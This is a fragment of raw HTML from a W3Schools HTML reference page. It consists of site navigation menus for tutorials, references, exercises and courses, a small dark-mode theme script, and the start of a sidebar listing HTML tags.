href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>&times;</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp">&lt;!--&gt;</a> <a target="_top" href="tag_doctype.asp">&lt;!DOCTYPE&gt;</a> <a target="_top" href="tag_a.asp">&lt;a&gt;</a> <a target="_top" href="tag_abbr.asp">&lt;abbr&gt;</a> <a target="_top" href="tag_acronym.asp">&lt;acronym&gt;</a> <a target="_top" href="tag_address.asp">&lt;address&gt;</a> <a target="_top" href="tag_applet.asp">&lt;applet&gt;</a> <a target="_top" href="tag_area.asp">&lt;area&gt;</a> <a target="_top" href="tag_article.asp">&lt;article&gt;</a> <a target="_top" href="tag_aside.asp">&lt;aside&gt;</a> <a target="_top" href="tag_audio.asp">&lt;audio&gt;</a> <a target="_top" href="tag_b.asp">&lt;b&gt;</a> <a target="_top" href="tag_base.asp">&lt;base&gt;</a> <a target="_top" href="tag_basefont.asp">&lt;basefont&gt;</a> <a target="_top" href="tag_bdi.asp">&lt;bdi&gt;</a> <a target="_top" href="tag_bdo.asp">&lt;bdo&gt;</a> <a target="_top" href="tag_big.asp">&lt;big&gt;</a> <a target="_top" href="tag_blockquote.asp">&lt;blockquote&gt;</a> <a target="_top" href="tag_body.asp">&lt;body&gt;</a> <a target="_top" href="tag_br.asp">&lt;br&gt;</a> <a target="_top" href="tag_button.asp">&lt;button&gt;</a> <a target="_top" href="tag_canvas.asp">&lt;canvas&gt;</a> <a target="_top" href="tag_caption.asp">&lt;caption&gt;</a> <a target="_top" href="tag_center.asp">&lt;center&gt;</a> <a target="_top" href="tag_cite.asp">&lt;cite&gt;</a> <a target="_top" href="tag_code.asp">&lt;code&gt;</a> <a target="_top" href="tag_col.asp">&lt;col&gt;</a> <a target="_top" href="tag_colgroup.asp">&lt;colgroup&gt;</a> <a target="_top" href="tag_data.asp">&lt;data&gt;</a> <a target="_top" href="tag_datalist.asp">&lt;datalist&gt;</a> <a target="_top" href="tag_dd.asp">&lt;dd&gt;</a> <a target="_top" href="tag_del.asp">&lt;del&gt;</a> <a target="_top" href="tag_details.asp">&lt;details&gt;</a> <a target="_top" href="tag_dfn.asp">&lt;dfn&gt;</a> <a target="_top" href="tag_dialog.asp">&lt;dialog&gt;</a> <a target="_top" href="tag_dir.asp">&lt;dir&gt;</a> <a target="_top" href="tag_div.asp">&lt;div&gt;</a> <a target="_top" href="tag_dl.asp">&lt;dl&gt;</a> <a target="_top" href="tag_dt.asp">&lt;dt&gt;</a> <a target="_top" href="tag_em.asp">&lt;em&gt;</a> <a target="_top" href="tag_embed.asp">&lt;embed&gt;</a> <a target="_top" href="tag_fieldset.asp">&lt;fieldset&gt;</a> 